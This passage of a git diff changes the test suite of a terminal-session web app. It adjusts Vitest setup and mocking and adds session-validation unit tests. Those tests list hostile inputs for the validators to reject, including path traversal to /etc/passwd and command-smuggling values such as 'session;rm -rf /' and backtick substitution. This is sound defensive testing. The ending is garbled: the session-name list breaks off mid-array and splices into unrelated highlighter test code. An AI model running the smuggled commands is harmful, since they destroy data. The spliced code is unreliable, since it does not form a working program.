result = await new Promise((resolve) => { const proc = mockSpawn('tty-fwd', ['spawn', '--', 'invalid-command']); let error = ''; - + proc.stderr.on('data', (data: Buffer) => { error += data.toString(); }); - + proc.on('close', (code: number) => { resolve({ code, error }); }); @@ -435,11 +430,11 @@ describe('Session Manager', () => { on: vi.fn(), kill: vi.fn(), }; - + mockSpawn.mockImplementationOnce(() => mockSlowProcess); const proc = mockSpawn('tty-fwd', ['list']); - + // Simulate timeout const timeoutId = setTimeout(() => { proc.kill('SIGTERM'); @@ -468,11 +463,11 @@ describe('Session Manager', () => { const result = await new Promise((resolve) => { const proc = mockSpawn('tty-fwd', ['terminate', 'non-existent-session']); let error = ''; - + proc.stderr.on('data', (data: Buffer) => { error += data.toString(); }); - + proc.on('close', (code: number) => { resolve({ code, error }); }); @@ -482,4 +477,4 @@ describe('Session Manager', () => { expect((result as any).error).toContain('Session not found'); }); }); -}); \ No newline at end of file +}); diff --git a/web/src/test/setup.integration.ts b/web/src/test/setup.integration.ts new file mode 100644 index 00000000..c2f94695 --- /dev/null +++ b/web/src/test/setup.integration.ts @@ -0,0 +1,43 @@ +import { vi } from 'vitest'; + +// Set test environment +process.env.NODE_ENV = 'test'; +process.env.VITEST_INTEGRATION = 'true'; + +// Don't mock dependencies for integration tests +// We want to test the real implementation + +// Set up global test utilities +global.fetch = vi.fn(); + +// Increase timeout for integration tests +vi.setConfig({ testTimeout: 30000 }); + +// Clean up any leftover test data +import fs from 'fs'; +import path from 'path'; +import os from 'os'; + +const cleanupTestDirectories = () => { + const testDirPattern = /vibetunnel-(test|ws-test|lifecycle-test)/; + const tmpDir = os.tmpdir(); + + try { + const entries = fs.readdirSync(tmpDir); + entries.forEach((entry) => { + if (testDirPattern.test(entry)) { + const fullPath = path.join(tmpDir, entry); + try { + fs.rmSync(fullPath, { recursive: true, force: true }); + } catch (e) { + // Ignore errors during cleanup + } + } + }); + } catch (e) { + // Ignore errors + } +}; + +// Clean up before tests +cleanupTestDirectories(); diff --git a/web/src/test/setup.ts b/web/src/test/setup.ts index c338a6dd..9f12272d 100644 --- a/web/src/test/setup.ts +++ b/web/src/test/setup.ts @@ -3,19 +3,22 @@ import { vi } from 'vitest'; // Set test environment process.env.NODE_ENV = 'test'; -// Mock node-pty for tests since it requires native bindings -vi.mock('node-pty', () => ({ - spawn: vi.fn(() => ({ - pid: 12345, - process: 'mock-process', - write: vi.fn(), - resize: vi.fn(), - kill: vi.fn(), - on: vi.fn(), - onData: vi.fn(), - onExit: vi.fn(), - })), -})); +// Only mock node-pty for unit tests, not integration tests +if (!process.env.VITEST_INTEGRATION) { + // Mock node-pty for tests since it requires native bindings + vi.mock('node-pty', () => ({ + spawn: vi.fn(() => ({ + pid: 12345, + process: 'mock-process', + write: vi.fn(), + resize: vi.fn(), + kill: vi.fn(), + on: vi.fn(), + onData: vi.fn(), + onExit: vi.fn(), + })), + })); +} // Set up global test utilities global.fetch = vi.fn(); @@ -32,19 +35,19 @@ global.WebSocket = vi.fn(() => ({ // Add custom matchers if needed expect.extend({ toBeValidSession(received) { - const pass = + const pass = received && typeof received.id === 'string' && typeof received.command === 'string' && typeof received.workingDir === 'string' && ['running', 'exited'].includes(received.status); - + return { pass, - message: () => + message: () => pass ? `expected ${received} not to be a valid session` : `expected ${received} to be a valid session`, }; }, -}); \ No newline at end of file +}); diff --git a/web/src/test/smoke.test.ts b/web/src/test/smoke.test.ts index ec5a29a6..0b343e35 100644 --- a/web/src/test/smoke.test.ts +++ b/web/src/test/smoke.test.ts @@ -13,4 +13,4 @@ describe('Smoke Test', () => { it('should verify test environment', () => { expect(process.env.NODE_ENV).toBe('test'); }); -}); \ No newline at end of file +}); diff --git a/web/src/test/test-utils.ts b/web/src/test/test-utils.ts index 2388ce85..4503da73 100644 --- a/web/src/test/test-utils.ts +++ b/web/src/test/test-utils.ts @@ -41,13 +41,13 @@ export const closeTestServer = async (server: Server): Promise => { }; export const waitForWebSocket = (ms: number = 100): Promise => { - return new Promise(resolve => setTimeout(resolve, ms)); + return new Promise((resolve) => setTimeout(resolve, ms)); }; export const mockWebSocketServer = () => { const clients = new Set(); const broadcast = vi.fn(); - + return { clients, broadcast, @@ -66,4 +66,4 @@ declare global { toBeValidSession(): any; } } -} \ No newline at end of file +} diff --git a/web/src/test/unit/session-validation.test.ts b/web/src/test/unit/session-validation.test.ts new file mode 100644 index 00000000..012901e2 --- /dev/null +++ b/web/src/test/unit/session-validation.test.ts @@ -0,0 +1,277 @@ +import { describe, it, expect } from 'vitest'; + +// Session validation utilities that should be in the actual code +const validateSessionId = (id: any): boolean => { + return typeof id === 'string' && /^[a-f0-9-]+$/.test(id); +}; + +const validateCommand = (command: any): boolean => { + return ( + Array.isArray(command) && command.length > 0 && command.every((arg) => typeof arg === 'string') + ); +}; + +const validateWorkingDir = (dir: any): boolean => { + return typeof dir === 'string' && dir.length > 0 && !dir.includes('\0'); +}; + +const sanitizePath = (path: string): string => { + // Remove null bytes and normalize + return path.replace(/\0/g, '').normalize(); +}; + +const isValidSessionName = (name: any): boolean => { + return ( + typeof name === 'string' && + name.length > 0 && + name.length <= 255 && + !/[<>:"|?*\x00-\x1f]/.test(name) + ); +}; + +describe('Session Validation', () => { + describe('validateSessionId', () => { + it('should accept valid session IDs', () => { + const validIds = [ + 'abc123', + '123e4567-e89b-12d3-a456-426614174000', + 'session-1234', + 'a1b2c3d4', + ]; + + validIds.forEach((id) => { + expect(validateSessionId(id)).toBe(true); + }); + }); + + it('should reject invalid session IDs', () => { + const invalidIds = [ + '', + null, + undefined, + 123, + 'session with spaces', + '../../../etc/passwd', + 'session;rm -rf /', + 'session$variable', + 'session`command`', + ]; + + invalidIds.forEach((id) => { + expect(validateSessionId(id)).toBe(false); + }); + }); + }); + + describe('validateCommand', () => { + it('should accept valid commands', () => { + const validCommands = [ + ['bash'], + ['ls', '-la'], + ['node', 'app.js'], + ['python', '-m', 'http.server', '8000'], + ['vim', 'file.txt'], + ]; + + validCommands.forEach((cmd) => { + expect(validateCommand(cmd)).toBe(true); + }); + }); + + it('should reject invalid commands', () => { + const invalidCommands = [ + [], + null, + undefined, + 'bash', + [''], + [123], + [null], + ['bash', null], + ['bash', 123], + ]; + + invalidCommands.forEach((cmd) => { + expect(validateCommand(cmd)).toBe(false); + }); + }); + }); + + describe('validateWorkingDir', () => { + it('should accept valid directories', () => { + const validDirs = [ + '/home/user', + '/tmp', + '.', + '..', + '/home/user/projects/my-app', + 'C:\\Users\\User\\Documents', + ]; + + validDirs.forEach((dir) => { + expect(validateWorkingDir(dir)).toBe(true); + }); + }); + + it('should reject invalid directories', () => { + const invalidDirs = ['', null, undefined, 123, '/path/with\0null', '\0/etc/passwd']; + + invalidDirs.forEach((dir) => { + expect(validateWorkingDir(dir)).toBe(false); + }); + }); + }); + + describe('isValidSessionName', () => { + it('should accept valid session names', () => { + const validNames = [ + 'My Session', + 'Project Build', + 'test-123', + 'Development Server', + 'SSH to production', + ]; + + validNames.forEach((name) => { + expect(isValidSessionName(name)).toBe(true); + }); + }); + + it('should reject invalid session names', () => { + const invalidNames = [ + '', + null, + undefined, + 'a'.repeat(256), + 'session http://safe.com'; + const result = highlighter.highlight(text); + + expect(result).not.toContain('